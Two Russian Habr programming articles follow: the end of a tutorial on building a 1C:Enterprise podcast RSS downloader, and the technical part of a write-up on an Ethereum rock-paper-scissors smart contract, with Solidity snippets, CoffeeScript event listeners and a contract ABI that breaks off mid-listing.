Почти по аналогии с MS Access (где одна база = один файл), В 1С одна база = один каталог. При запуске 1С надо будет указать какой-то каталог в качестве каталога нужной базы данных. После этого можно нажать «Конфигуратор», чтобы открыть IDE для редактирования кода и интерфейса.
Информационная база 1С состоит, грубо говоря, из непосредственно данных и из метаданных. Метаданные - код на языке 1С, описание интерфейса и прочая информация.
Можно хранить данные и метаданные в системе баз данных (MS SQL, Postgres), но 1С умеет работать и с локальной базой данных (формат 1С). Локальная файловая база данных 1С - это один файл с фиксированным именем «1Cv8.1CD», который лежит в заданном каталоге. Версия для обучения позволяет работать только с файловой базой, прикрутить Postgres к ней не получится.
Таблицы баз данных (в терминологии систем баз данных) в 1С будут называться «Справочниками» (условно постоянная информация), «Документами» (информация об изменении данных), всякими «Регистрами сведений», «Регистрами накоплений», «Регистрами бухгалтерии» (непосредственно значения изменённых данных).
Для моих целей нужно будет создать:
* справочник «Подкасты», где хранится список интересных мне подкастов с URL на всю RSS-ленту новостей этого подкаста;
* справочник «Аудиоматериалы», где хранятся URL на конкретные файлы MP3;
* регистр сведений «ГлобальныеНастройки», где хранятся прочие настройки, например корневой каталог в файловой системе, куда скачивать mp3-файлы.
Формы для ввода данных для этих справочников рисуются буквально мышкой.
Вот, например, настроенный внешний вид справочника «Подкасты» (ни строчки кода!):
Если форму не рисовать, то платформа 1С сама её создаст, «на лету». Собственно, форма ввода для справочника «Подкасты» - единственная, которую я делал сам, «ручками». Остальные формы ввода платформа 1С генерирует автоматически.
Например, формы «1» и «2» платформа 1С нарисовала сама:
Данные для подкастов пришлось вводить ручками, но это одноразовое действие:
Дальше пришлось немного написать кода на языке 1С. Я знаю, что многие на хабре не считают 1С нормальным языком. Но как по мне, 1С умеет делать всё, что умеют все остальные языки. И это всё «из коробки». Ребятки, сравните-ка код 1С по построчному чтению файла в старых версиях Java (статья на Хабре: [Эволюция Java на примере чтения строк из файла](https://habr.com/ru/post/269667/)) и код 1С:
```
&НаКлиенте
Процедура КомандаПрочитатьФайл(Команда)
ЧтениеТекста = Новый ЧтениеТекста("e:\Data\Texts\Статья на хабре, новости\Attachments\30 сюжетов цивилизации RSS.xml", "UTF-8");
ТекущаяСтрока = ЧтениеТекста.ПрочитатьСтроку();
Пока ТекущаяСтрока <> Неопределено Цикл
// Обработать строку
ТекущаяСтрока = ЧтениеТекста.ПрочитатьСтроку();
КонецЦикла;
КонецПроцедуры
```
Но извините, я отвлёкся.
Кода на 1С будет не очень много:
**КомандаЗагрузитьСписокАудиоматериалов** - для выделенных строк. 1С подключается к RSS-ленте, загружает XML, парсит его, и добавляет новые файлы для загрузки в справочник «АудиоМатериалы». Одна новость = один файл.
Загрузка файла из интернет:
```
&НаСервере
Процедура ЗагрузитьСписокАудиоматериаловДляПодкаста(Подкаст, URL)
// 1. Загрузить XML-файл со списком аудиоматериалов.
РазложенныйURL = СтрРазделить(URL, "/", Ложь);
Сервер = РазложенныйURL[1]; // https://radiomayak.ru/podcasts/rss/podcast/3321/type/audio/ -> radiomayak.ru
Порт = Неопределено;
Пользователь = Неопределено;
Пароль = Неопределено;
Прокси = Новый ИнтернетПрокси(Истина);
Таймаут = 30;
HTTPСоединение = Новый HTTPСоединение(
Сервер,
Порт,
Пользователь,
Пароль,
Прокси,
Таймаут,
Новый ЗащищенноеСоединениеOpenSSL,
Ложь);
РазложенныйАдресРесурса = РазложенныйURL;
РазложенныйАдресРесурса.Удалить(0); // http
РазложенныйАдресРесурса.Удалить(0); // сервер
АдресРесурса = СтрСоединить(РазложенныйАдресРесурса, "/");
Заголовки = Новый Соответствие;
HTTPЗапрос = Новый HTTPЗапрос(АдресРесурса, Заголовки);
HTTPОтвет = HTTPСоединение.ВызватьHTTPМетод("GET", HTTPЗапрос);
Если HTTPОтвет.КодСостояния = 200 Тогда
ТелоОтвета = HTTPОтвет.ПолучитьТелоКакСтроку(КодировкаТекста.UTF8);
//// И так далее...
```
Парсинг загруженного XML и сохранение в справочник «АудиоМатериалы»:
```
ЧтениеXML = Новый ЧтениеXML;
ЧтениеXML.УстановитьСтроку(ТелоОтвета);
ОбъектXDTO = ФабрикаXDTO.ПрочитатьXML(ЧтениеXML);
СписокАудиоМатериаловXDTO = ОбъектXDTO.channel.ПолучитьСписок("item");
Для Каждого ТекущийЭлементXDTO Из СписокАудиоМатериаловXDTO Цикл
Длительность = ТекущийЭлементXDTO.duration;
ДлительностьЧас = Число(Сред(Длительность, 1, 2));
ДлительностьМин = Число(Сред(Длительность, 4, 2));
ДлительностьСек = Число(Сред(Длительность, 7, 2));
ДатаОбновления = ДатаRFC1123(ТекущийЭлементXDTO.pubDate);
Описание = ?(ТекущийЭлементXDTO.Свойства().Получить("summary") = Неопределено, "", ТекущийЭлементXDTO.summary);
Заголовок = ТекущийЭлементXDTO.title;
УИН = ТекущийЭлементXDTO.guid.Последовательность().ПолучитьТекст(0);
Гиперссылка = ТекущийЭлементXDTO.enclosure.url;
РазмерФайла = ?(ТекущийЭлементXDTO.enclosure.Свойства().Получить("length") = Неопределено, 0, ТекущийЭлементXDTO.enclosure.length);
// Найти элемент справочника АудиоМатериалы по УИН
АудиоМатериалСсылка = Справочники.АудиоМатериалы.НайтиПоРеквизиту("УИН", УИН, , Подкаст);
Если АудиоМатериалСсылка.Пустая() Тогда
АудиоМатериалОбъект = Справочники.АудиоМатериалы.СоздатьЭлемент();
Иначе
АудиоМатериалОбъект = АудиоМатериалСсылка.ПолучитьОбъект();
КонецЕсли;
АудиоМатериалОбъект.Владелец = Подкаст;
АудиоМатериалОбъект.УИН = УИН;
АудиоМатериалОбъект.Наименование = Заголовок;
АудиоМатериалОбъект.URL = Гиперссылка;
АудиоМатериалОбъект.ДлительностьЧасов = ДлительностьЧас;
АудиоМатериалОбъект.ДлительностьМинут = ДлительностьМин;
АудиоМатериалОбъект.ДлительностьСекунд = ДлительностьСек;
АудиоМатериалОбъект.Описание = Описание;
АудиоМатериалОбъект.РазмерФайла = РазмерФайла;
АудиоМатериалОбъект.ДатаОбновления = ДатаОбновления;
АудиоМатериалОбъект.Записать();
КонецЦикла;
ЧтениеXML.Закрыть();
```
Не люблю формат RSS из-за формата даты [RFC 1123](https://tools.ietf.org/html/rfc1123) (если точнее, то [RFC 822, часть 5](https://tools.ietf.org/html/rfc822#section-5)) - `Sun, 21 May 2017 11:00:00 GMT`. Пришлось написать ещё немного кода:
```
&НаСервере
// Возвращает дату, преобразованную из формата RFC 1123 в тип Дата.
Функция ДатаRFC1123(ДатаСтрокойHTTP)
ИменаМесяцев = "janfebmaraprmayjunjulaugsepoctnovdec";
// rfc1123-date = wkday "," SP date1 SP time SP "GMT".
ПозицияПервогоПробела = СтрНайти(ДатаСтрокойHTTP, " ");//с первого пробела до второго пробела идет дата.
ПодстрокаДата = Сред(ДатаСтрокойHTTP,ПозицияПервогоПробела + 1);
ПодстрокаВремя = Сред(ПодстрокаДата, 13);
ПодстрокаДата = Лев(ПодстрокаДата, 11);
ПозицияПервогоПробела = СтрНайти(ПодстрокаВремя, " ");
ПодстрокаВремя = Лев(ПодстрокаВремя,ПозицияПервогоПробела - 1);
// date1 = 2DIGIT SP month SP 4DIGIT.
ПодстрокаДень = Лев(ПодстрокаДата, 2);
ПодстрокаМесяц = Формат(Цел(СтрНайти(ИменаМесяцев,НРег(Сред(ПодстрокаДата,4,3))) / 3)+1, "ЧЦ=2; ЧН=00; ЧВН=");
ПодстрокаГод = Сред(ПодстрокаДата, 8);
// time = 2DIGIT ":" 2DIGIT ":" 2DIGIT.
ПодстрокаЧас = Лев(ПодстрокаВремя, 2);
ПодстрокаМинута = Сред(ПодстрокаВремя, 4, 2);
ПодстрокаСекунда = Прав(ПодстрокаВремя, 2);
Возврат Дата(ПодстрокаГод + ПодстрокаМесяц + ПодстрокаДень + ПодстрокаЧас + ПодстрокаМинута + ПодстрокаСекунда);
КонецФункции
```
После того, как мы сохранили в таблице список URL mp3-файлов, можно их загрузить. Если запустить 1С в режиме "Предприятие", то в справочнике «Подкасты» можно выделить несколько строк и нажать «Загрузить аудиоматериалы».
**КомандаЗагрузитьАудиоматериалы** - анализирует данные из справочника «АудиоМатериалы» и сравнивает с уже загруженными файлами в файловой системе. Если файла нет или размер не совпадает, то он будет загружен.
Данные в можно получать запросами, очень похожими на обычный SQL:
```
Запрос = Новый Запрос;
Запрос.Текст = "
|ВЫБРАТЬ
| ЛОЖЬ КАК Загружать,
| Спр.Владелец.Наименование КАК Подкаст,
| &КаталогМедиаФайлов КАК КаталогМедиаФайлов,
| Спр.Владелец.КаталогСохраненияАудиоматериалов КАК КаталогСохраненияАудиоматериалов,
| Спр.Владелец.ШаблонИмениФайла КАК ШаблонИмениФайла,
| &Строка255 КАК ИмяФайла,
| Спр.Наименование КАК Наименование,
| Спр.URL КАК URL,
| Спр.Описание КАК Описание,
| Спр.ДатаОбновления КАК ДатаОбновления,
| "" "" КАК ДатаОбновленияГГГГММДД,
| Спр.ДлительностьЧасов КАК ДлительностьЧасов,
| Спр.ДлительностьМинут КАК ДлительностьМинут,
| Спр.ДлительностьСекунд КАК ДлительностьСекунд,
| "" "" КАК ДлительностьММСС,
| Спр.РазмерФайла КАК РазмерФайлаНадо,
| 0 КАК РазмерФайлаЕсть
|ИЗ
| Справочник.АудиоМатериалы КАК Спр
|ГДЕ
| Спр.Владелец В (&Подкасты)
| И Спр.Владелец.ПометкаУдаления = ЛОЖЬ
|УПОРЯДОЧИТЬ ПО
| Спр.Владелец.Наименование
|";
Запрос.УстановитьПараметр("Подкасты" , МассивПодкастов);
Запрос.УстановитьПараметр("Строка255" , Строка255);
Запрос.УстановитьПараметр("КаталогМедиаФайлов", КаталогМедиаФайлов);
РезультатЗапроса = Запрос.Выполнить();
Если НЕ РезультатЗапроса.Пустой() Тогда
// Обработка данных запроса
КонецЕсли;
```
Хэдхантеры, вы вообще в курсе, что даже начинающий «1С-ник из коробки» уже умеет SQL?
Проверяем, наличие файлов. Если файл есть и его размер совпадает, то загружать заново смысла нет. Если файла нет или его размер не совпадает - загрузим снова.
```
// Подготовить имена файлов
ТаблицаФайлов = РезультатЗапроса.Выгрузить(ОбходРезультатаЗапроса.Прямой);
Для Каждого ТекущийФайл Из ТаблицаФайлов Цикл
Если СтрЗаканчиваетсяНа(ТекущийФайл.КаталогМедиаФайлов, "\") Тогда
ТекущийФайл.КаталогМедиаФайлов = Лев(ТекущийФайл.КаталогМедиаФайлов, СтрДлина(ТекущийФайл.КаталогМедиаФайлов) - 1);
КонецЕсли;
Если СтрЗаканчиваетсяНа(ТекущийФайл.КаталогСохраненияАудиоматериалов, "\") Тогда
ТекущийФайл.КаталогСохраненияАудиоматериалов = Лев(ТекущийФайл.КаталогСохраненияАудиоматериалов, СтрДлина(ТекущийФайл.КаталогСохраненияАудиоматериалов) - 1);
КонецЕсли;
ТекущийФайл.ДатаОбновленияГГГГММДД = Формат(ТекущийФайл.ДатаОбновления, "ДФ=yyyy-MM-dd");
ТекущийФайл.ДлительностьММСС = Формат(ТекущийФайл.ДлительностьМинут, "ЧЦ=2; ЧН=00; ЧВН=") + "." + Формат(ТекущийФайл.ДлительностьСекунд, "ЧЦ=2; ЧН=00; ЧВН=");
ТекущийФайл.КаталогСохраненияАудиоматериалов = ЗаменитьПеременные(ТекущийФайл.КаталогСохраненияАудиоматериалов, ТекущийФайл, ПравилаЗамены);
ТекущийФайл.ИмяФайла = ЗаменитьПеременные(ТекущийФайл.ШаблонИмениФайла, ТекущийФайл, ПравилаЗамены);
ТекущийФайл.ИмяФайла = УдалитьЗапрещенныеСимволы(ТекущийФайл.ИмяФайла);
КонецЦикла;
// Проверить файлы на наличие и размер.
// Параллельно проверить и сформировать структуру каталогов.
Для Каждого ТекущийФайл Из ТаблицаФайлов Цикл
Файл = Новый Файл(ТекущийФайл.КаталогСохраненияАудиоматериалов + "\" + ТекущийФайл.ИмяФайла);
Если Файл.Существует() Тогда
ТекущийФайл.РазмерФайлаЕсть = Файл.Размер();
Если ТекущийФайл.РазмерФайлаЕсть <> ТекущийФайл.РазмерФайлаНадо Тогда
ТекущийФайл.Загружать = Истина;
КонецЕсли;
Иначе
СтруктураКаталогов = СтрРазделить(ТекущийФайл.КаталогСохраненияАудиоматериалов + "\" + ТекущийФайл.ИмяФайла, "\", Ложь);
ТекущееИмяКаталога = СтруктураКаталогов[0];
Для С=1 По СтруктураКаталогов.ВГраница()-1 Цикл // Без имени диска и без самого имени файла.
ТекущееИмяКаталога = ТекущееИмяКаталога + "\" + СтруктураКаталогов[С];
ТекущийКаталог = Новый Файл(ТекущееИмяКаталога);
Если НЕ ТекущийКаталог.Существует() Тогда
СоздатьКаталог(ТекущееИмяКаталога);
КонецЕсли;
КонецЦикла;
ТекущийФайл.Загружать = Истина;
КонецЕсли;
КонецЦикла;
```
```
// Загрузить несуществующие файлы.
Для Каждого ТекущийФайл Из ТаблицаФайлов Цикл
Если ТекущийФайл.Загружать = Истина Тогда
ЗагрузитьФайл(ТекущийФайл.URL, ТекущийФайл.КаталогСохраненияАудиоматериалов + "\" + ТекущийФайл.ИмяФайла);
ОбновитьОписаниеФайла(ТекущийФайл.ИмяФайла, ТекущийФайл.КаталогСохраненияАудиоматериалов, ТекущийФайл.Описание);
КонецЕсли;
КонецЦикла;
```
Непосредственно загрузка:
```
&НаСервере
Процедура ЗагрузитьФайл(URL, ПолноеИмяФайла)
РазложенныйURL = СтрРазделить(URL, "/", Ложь);
Сервер = РазложенныйURL[1]; // https://radiomayak.ru/podcasts/rss/podcast/3321/type/audio/ -> radiomayak.ru
Порт = Неопределено;
Пользователь = Неопределено;
Пароль = Неопределено;
Прокси = Новый ИнтернетПрокси(Истина);
Таймаут = 30;
HTTPСоединение = Новый HTTPСоединение(
Сервер,
Порт,
Пользователь,
Пароль,
Прокси,
Таймаут,
Новый ЗащищенноеСоединениеOpenSSL,
Ложь);
РазложенныйАдресРесурса = РазложенныйURL;
РазложенныйАдресРесурса.Удалить(0); // http
РазложенныйАдресРесурса.Удалить(0); // сервер
АдресРесурса = СтрСоединить(РазложенныйАдресРесурса, "/");
Заголовки = Новый Соответствие;
HTTPЗапрос = Новый HTTPЗапрос(АдресРесурса, Заголовки);
HTTPОтвет = HTTPСоединение.ВызватьHTTPМетод("GET", HTTPЗапрос);
Если HTTPОтвет.КодСостояния = 200 Тогда
ДвоичныеДанныеФайла = HTTPОтвет.ПолучитьТелоКакДвоичныеДанные();
ДвоичныеДанныеФайла.Записать(ПолноеИмяФайла);
Иначе
Сообщить(
СтрШаблон(
НСтр("ru='Ошибка загрузки: код %1, сервер %2, ресурс %3'"),
HTTPОтвет.КодСостояния,
Сервер,
АдресРесурса));
КонецЕсли;
КонецПроцедуры
```
В качестве файлового менеджера я использую «Total commander». Купил его официально, но в принципе программа работает и бесплатно - всего-навсего при запуске программы надо будет нажать одну из трёх случайных кнопок.
В «Total commander» в каталоге можно сохранить файл «descript.ion», в котором можно хранить комментарии к файлам. Это очень удобно. Эти комментарии в отдельном файле (в отличие от потоков в NTFS) сохраняются при копировании на FAT (естественно, если копировать с помощью "Total Commander"). Некоторые умельцы даже умеют показывать такие комментарии и в стандартном проводнике Windows ([ссылка](https://dudom.ru/kompjutery/kak-dobavit-kommentarij-k-fajlu/)), но я не пробовал.
Например, в комментарии можно хранить некие тэги, например «Просмотрено;» и настроить сам «Total commander», чтобы файлы помеченные таким тэгом показывались серым цветом (скриншот будет ниже). Удобно.
Структура файла «descript.ion» очень простая: имя файла (возможно, в кавычках) и через пробел - произвольный комментарий:
Поэтому, при загрузке файла, можно сразу делать запись в этот «descript.ion»:
```
&НаСервере
Процедура ОбновитьОписаниеФайла(ИмяФайла, КаталогСохраненияАудиоматериалов, Описание)
// Найти / создать в КаталогСохраненияАудиоматериалов файл descript.ion
ИмяФайлаОписания = КаталогСохраненияАудиоматериалов + "\descript.ion";
ФайлОписаний = Новый Файл(ИмяФайлаОписания);
Если ФайлОписаний.Существует() Тогда
ЧтениеТекста = Новый ЧтениеТекста(ИмяФайлаОписания, КодировкаТекста.ANSI, Символы.ПС, Символы.ПС, Ложь);
ВсеСодержимое = ЧтениеТекста.Прочитать();
ЧтениеТекста.Закрыть();
Иначе
ВсеСодержимое = "";
КонецЕсли;
// Найти / добавить в файле КаталогСохраненияАудиоматериалов\descript.ion строку, начинающуюся с ИмяФайла и содержащую Описание (замена переводов строк на \n)
ВсеНовыеСтроки = Новый Массив;
ОписаниеБезПереводовСтрок = Описание;
ОписаниеБезПереводовСтрок = СтрЗаменить(ОписаниеБезПереводовСтрок, "
", "\n");
ОписаниеБезПереводовСтрок = СтрЗаменить(ОписаниеБезПереводовСтрок, "
```
А вот и скачанные файлы, которые можно просто скопировать на плеер:
Обратите внимание, что если в комментарии к файлу есть «Просмотрено;», то он показывается серым цветом шрифта. «Total commander» умеет выделять файлы цветом по разным условиям (атрибуты файла, размер, наличие текста в комментарии, плагины), что очень удобно. По логике, конечно же, надо было бы назвать тэг «Прослушано;», а не «Просмотрено», но это просто устоявшийся у меня порядок, менять который - лениво. Извините.
Если кому интересно - можно выложить эту базу 1С в общий доступ, но к сожалению на хабре нельзя приаттачивать файлы к статье (или я не разобрался?).
Размер только метаданных (1cv8.cf) - 18 051 байт.
Размер выгруженной и сжатой базы (данные + метаданные, 1cv8.dt) - 662 650 байт.
Размер базы на диске (1Cv8.1CD) - 9 601 024 байт.
Честно говоря, не понял, как удобнее было бы выложить и надо ли это делать вообще? Прикрутил голосовалку.
Какая была цель у этих статей? Продвинуть какую-то технологию или программу? Реклама? Поделиться опытом? Пусть это будет «поделиться опытом».
И в завершение:
* Не стесняйтесь экспериментировать;
* Изменяйте мир в лучшую сторону;
* И не забывайте делиться своим опытом, чтобы другие тоже могли изменять мир в лучшую сторону. | https://habr.com/ru/post/551836/ | null | ru | null |
# Как мы игру «Камень – ножницы – бумага» на блокчейне Ethereum делали. Ч.2 Техническая
Учтя комментарии к моей [предыдущей статье](https://habr.com/post/358576/) я решил написать вторую часть, где будут более подробна рассмотрена техническая составляющая игры.
И так, начнём. Клиентскую часть мы сделали на javascript c использованием nodejs фреймворка Meteor. Единственное серверное решение в игре это чат на mongoDB. Посмотрите, какой алгоритм игры мы задумали перед началом работы:
**Описание смарт контракта.** Не существует каких-либо заготовок или шаблонных вариантов для создания игры «Камень, ножницы, бумага» на блокчейне. Для этого мы провели собственные исследования и разработки. Наш смарт контракт позволяет создавать и закрывать игровые столы. Информация о всех столах содержится в памяти смарт контракта.
```
struct room
{
address player1;
address player2;
bytes32 bit1;
bytes32 bit2;
uint8 res1;
uint8 res2;
uint256 bet;
uint8 counter;
uint8 c1;
uint8 c2;
uint roomTime;
uint startTime;
bool open;
bool close;
}
mapping (uint => room) rooms;
```
Как видно, мы создаем mapping (ассоциативный массив) rooms, ключами которого являются номера столов, а значениями — объект стола. В объекте стола мы декларируем пространство под адреса игроков и их ходы. Так же в столе хранится общий счёт матча, количество побед с каждой стороны, и временные метки создания стола и начала игры. Номер стола генерируется клиентской частью случайным образом. Это число от 0 до 99999999. Одно и тоже число может быть использовано множество раз, при условии штатного закрытия созданного стола. Накладки с номерами столов могут происходить крайне редко, но даже в таком случае, это никак не нарушит работу смарт контракта, транзакция по созданию дубликата просто не сможет состояться. В случае если стол не будет закрыт штатно, использованный номер на некоторое время выпадет из возможных вариантов для создания очередного стола. По логике смарт контракта, открытый стол имеет срок актуальности одни стуки. После этого, любое действие на столе приводит к его закрытию, в том числе попытка подключиться к нему любого желающего. Закрытие стола происходит за счет функции revertRoom и затем closeRoom, которая удаляет информацию о столе из ассоциативного массива rooms.
```
function revertRoom(uint id) internal {
if( rooms[id].bet > 0 ) {
rooms[id].player1.transfer(rooms[id].bet);
if( rooms[id].player2 != 0x0 ) rooms[id].player2.transfer(rooms[id].bet);
}
RevertRoom(id);
closeRoom(id);
}
function closeRoom(uint id) internal {
rooms[id].close = true;
RoomClosed( id );
delete rooms[id];
}
```
Функции смарт контракта, которые начинаются с большой буквы, являются событиями. Игровой процесс в клиентской части во многом опирается на прослушивании тех или иных событий, имеющих отношение к текущему столу. Мы создали 14 событий:
```
event RoomOpened( uint indexed room, address indexed player1, uint256 bet, uint8 counter, uint openedTime, bool indexed privat );
event RoomClosed( uint indexed room );
event JoinPlayer1( uint indexed room, address indexed player1 );
event JoinPlayer2( uint indexed room, address indexed player2, uint countdownTime );
event BetsFinished(uint indexed room );
event BetsAdd(address indexed from, uint indexed room );
event OneMoreGame(uint indexed room );
event SeedOpened( uint indexed room );
event RoundFinished( uint indexed room, uint8 res1, uint8 res2 );
event Revard(address win, uint256 amount, uint indexed room );
event Winner(address win, uint indexed room );
event Result(address indexed player, uint8 r, uint indexed room );
event RevertRoom(uint indexed room);
event ScoreChanged(uint indexed room, uint8 score1, uint8 score2);
```
Пометка indexed после декларации типа переменной позволяет осуществлять фильтрацию событий по указанному полю. Прослушивание событий на блокчейне из клиентской части осуществляется так (Мы используем coffee script, его можно конвертировать в javascript сервисе <https://js2.coffee>):
```
#Слушаем победителя
this.autorun =>
filter5 = contractInstance.Winner {room: Number(FlowRouter.getParam('id')), }, {fromBlock:0, toBlock: 'latest', address: contrAdress}
filter5.watch (error, result) ->
console.log result
if result
instance.winner.set result.args.win
console.log result.args.win
UIkit.modal("#modal-winner").show()
```
Как видно, мы обращаемся к событию на блокчейне под названием Winner, предварительно подготовив образ смарт контракта constactInstance. Настройка web3 и подготовка образа осуществляется следующим скриптом:
**Длиннокод**
```
if (typeof web3 !== 'undefined') {
web3 = new Web3(web3.currentProvider);
var contrAdress = '0x80dd7334a28579a9e96601573555db15b7fe523a';
var contrInterface = [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
},
{
"indexed": false,
"name": "score1",
"type": "uint8"
},
{
"indexed": false,
"name": "score2",
"type": "uint8"
}
],
"name": "ScoreChanged",
"type": "event"
},
{
"constant": false,
"inputs": [],
"name": "deleteContract",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "exitRoom",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "fixResults",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "fixTimerResults",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "joinRoom",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "id",
"type": "uint256"
},
{
"name": "count",
"type": "uint8"
},
{
"name": "privat",
"type": "bool"
}
],
"name": "newRoom",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "id",
"type": "uint256"
},
{
"name": "bet",
"type": "bytes32"
}
],
"name": "setBet",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
}
],
"name": "OneMoreGame",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "player",
"type": "address"
},
{
"indexed": false,
"name": "r",
"type": "uint8"
},
{
"indexed": true,
"name": "room",
"type": "uint256"
}
],
"name": "Result",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
}
],
"name": "SeedOpened",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": false,
"name": "win",
"type": "address"
},
{
"indexed": true,
"name": "room",
"type": "uint256"
}
],
"name": "Winner",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
},
{
"indexed": false,
"name": "res1",
"type": "uint8"
},
{
"indexed": false,
"name": "res2",
"type": "uint8"
}
],
"name": "RoundFinished",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": false,
"name": "win",
"type": "address"
},
{
"indexed": false,
"name": "amount",
"type": "uint256"
},
{
"indexed": true,
"name": "room",
"type": "uint256"
}
],
"name": "Revard",
"type": "event"
},
{
"constant": false,
"inputs": [
{
"name": "mreic",
"type": "uint256"
}
],
"name": "setMaxReic",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
}
],
"name": "BetsFinished",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
},
{
"indexed": true,
"name": "player2",
"type": "address"
},
{
"indexed": false,
"name": "countdownTime",
"type": "uint256"
}
],
"name": "JoinPlayer2",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
}
],
"name": "RevertRoom",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
},
{
"indexed": true,
"name": "player1",
"type": "address"
}
],
"name": "JoinPlayer1",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
}
],
"name": "RoomClosed",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "room",
"type": "uint256"
},
{
"indexed": true,
"name": "player1",
"type": "address"
},
{
"indexed": false,
"name": "bet",
"type": "uint256"
},
{
"indexed": false,
"name": "counter",
"type": "uint8"
},
{
"indexed": false,
"name": "openedTime",
"type": "uint256"
},
{
"indexed": true,
"name": "privat",
"type": "bool"
}
],
"name": "RoomOpened",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "from",
"type": "address"
},
{
"indexed": true,
"name": "room",
"type": "uint256"
}
],
"name": "BetsAdd",
"type": "event"
},
{
"constant": false,
"inputs": [
{
"name": "id",
"type": "uint256"
},
{
"name": "seed",
"type": "uint256"
}
],
"name": "setSeed",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "transferOutAll",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomBet",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomBet1",
"outputs": [
{
"name": "",
"type": "bytes32"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomBet2",
"outputs": [
{
"name": "",
"type": "bytes32"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomCounter",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
},
{
"name": "player",
"type": "address"
}
],
"name": "checkRoomIsBet",
"outputs": [
{
"name": "",
"type": "bytes32"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomNotClosed",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomOpened",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomPlayer1",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomPlayer2",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomRes1",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomRes2",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomScore1",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomScore2",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "id",
"type": "uint256"
}
],
"name": "checkRoomStartTime",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
